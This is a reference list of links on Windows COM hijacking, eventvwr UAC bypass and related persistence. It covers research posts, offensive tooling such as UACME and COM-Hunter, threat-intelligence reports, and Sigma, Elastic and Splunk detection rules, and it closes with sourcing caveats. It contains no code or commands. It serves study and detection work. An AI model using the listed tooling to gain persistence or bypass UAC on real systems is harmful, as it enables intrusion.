- enigma0x3: "Fileless" UAC Bypass Using eventvwr.exe and Registry Hijacking — https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
- Hexacorn: Beyond good ol' Run key, Part 84 — https://hexacorn.com/blog/2018/04/24/beyond-good-ol-run-key-part-84/
- MDSec (Dominic Chell): Persistence Part 2 – COM Hijacking — https://www.mdsec.co.uk/2019/05/persistence-the-continued-or-prolonged-existence-of-something-part-2-com-hijacking/
- leoloobeek: Proxying COM For Stable Hijacks + COMProxy — https://adapt-and-attack.com/2019/08/29/proxying-com-for-stable-hijacks/ · https://github.com/leoloobeek/COMProxy
- David Tulis / NCC Group: acCOMplice + DerbyCon 9 — https://github.com/nccgroup/Accomplice · https://www.slideshare.net/DavidTulis1/com-hijacking-techniques-derbycon-2019
- pentestlab: Persistence – COM Hijacking — https://pentestlab.blog/2020/05/20/persistence-com-hijacking/
- 3gstudent: COM-Object-hijacking repo; Hijack Outlook — https://github.com/3gstudent/COM-Object-hijacking · https://3gstudent.github.io/backup-3gstudent.github.io/Use-COM-Object-hijacking-to-maintain-persistence-Hijack-Outlook/
- SpecterOps: Revisiting COM Hijacking (May 2025) — https://specterops.io/blog/2025/05/28/revisiting-com-hijacking/
- CrowdStrike: New Abuse of the ClickOnce Technology: Part 2 — https://www.crowdstrike.com/en-us/blog/new-abuse-of-the-clickonce-technology-part-two/
- James Forshaw: oleviewdotnet + "COM in 60 Seconds" — https://github.com/tyranid/oleviewdotnet
- TrustedSec CS-Situational-Awareness-BOF — https://github.com/trustedsec/CS-Situational-Awareness-BOF

**Tooling**
- COM-Hunter — https://github.com/nickvourd/COM-Hunter
- SharpDllProxy — https://github.com/Flangvik/SharpDllProxy
- hfiref0x/UACME — https://github.com/hfiref0x/UACME
- Atomic Red Team T1546.015 — https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1546.015/T1546.015.md
- EVTX-ATTACK-SAMPLES — https://github.com/sbousseaden/EVTX-ATTACK-SAMPLES

**In-the-wild / vendor intel**
- Cisco Talos: "Cyber Conflict" Decoy Document (Sednit; MMDeviceEnumerator) — https://blog.talosintelligence.com/cyber-conflict-decoy-document/
- ESET: Turla Outlook backdoor — https://www.welivesecurity.com/2018/08/22/turla-unique-outlook-backdoor/ · https://www.welivesecurity.com/wp-content/uploads/2018/08/Eset-Turla-Outlook-Backdoor.pdf
- ReliaQuest: Hijacked and Hidden (TypeLib hijack, Black Basta affiliate) — https://reliaquest.com/blog/threat-spotlight-hijacked-and-hidden-new-backdoor-and-persistence-technique/
- FireEye/Mandiant: UNC2529 Triple Double — https://www.fireeye.com/blog/threat-research/2021/05/unc2529-triple-double-trifecta-phishing-campaign.html
- VirusTotal: COM Objects Hijacking (Mar 2024) — https://blog.virustotal.com/2024/03/com-objects-hijacking.html
- NCSC (UK): MAR Authentic Antics — https://www.ncsc.gov.uk/static-assets/documents/malware-analysis-reports/authentic-antics/ncsc-mar-authentic_antics.pdf
- HackTricks: COM Hijacking — https://hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/com-hijacking.html

**Detection**
- SigmaHQ: registry_set_persistence_com_key_linking.yml — https://github.com/SigmaHQ/sigma/blob/master/rules/windows/registry/registry_set/registry_set_persistence_com_key_linking.yml
- SigmaHQ: registry_set_treatas_persistence.yml — https://github.com/SigmaHQ/sigma/blob/master/rules/windows/registry/registry_set/registry_set_treatas_persistence.yml
- SigmaHQ registry_set directory — https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/
- detection.fyi Sigma index — https://detection.fyi/
- Elastic: persistence_suspicious_com_hijack_registry — https://github.com/elastic/detection-rules/blob/main/rules/windows/persistence_suspicious_com_hijack_registry.toml
- Splunk: Eventvwr UAC Bypass — https://research.splunk.com/endpoint/9cf8fe08-7ad8-11eb-9819-acde48001122/
- KnowYourAdversary #111 (Black Basta TypeLib hunting) — https://www.knowyouradversary.ru/2025/04/
- HexaStrike: COM Hijacking from a Defender's Perspective — https://hexastrike.com/resources/blog/dfir/com-hijacking-from-a-defenders-perspective/
- SwiftOnSecurity sysmon-config — https://github.com/SwiftOnSecurity/sysmon-config

**Caveats:** (1) G-Data 2014 author name and Hexacorn Part 84 body not re-fetched (URLs/titles verified via multiple citations). (2) First CAccPropServicesClass/MMDeviceEnumerator write-up attribution fuzzy — bohops + 2019 Chinese blogs are verifiable; ITW (APT28/Talos) solid. (3) `{01575CFE-...}`, `{AB8902B4-...}` are training examples (RTO/COM-Hunter); friendly names unconfirmed. (4) "TeaTimer" has no COM persistence linkage (negative result). (5) CrowdStrike ClickOnce hardcoded CLSID value not printed in accessible excerpt — pull full blog for slides.
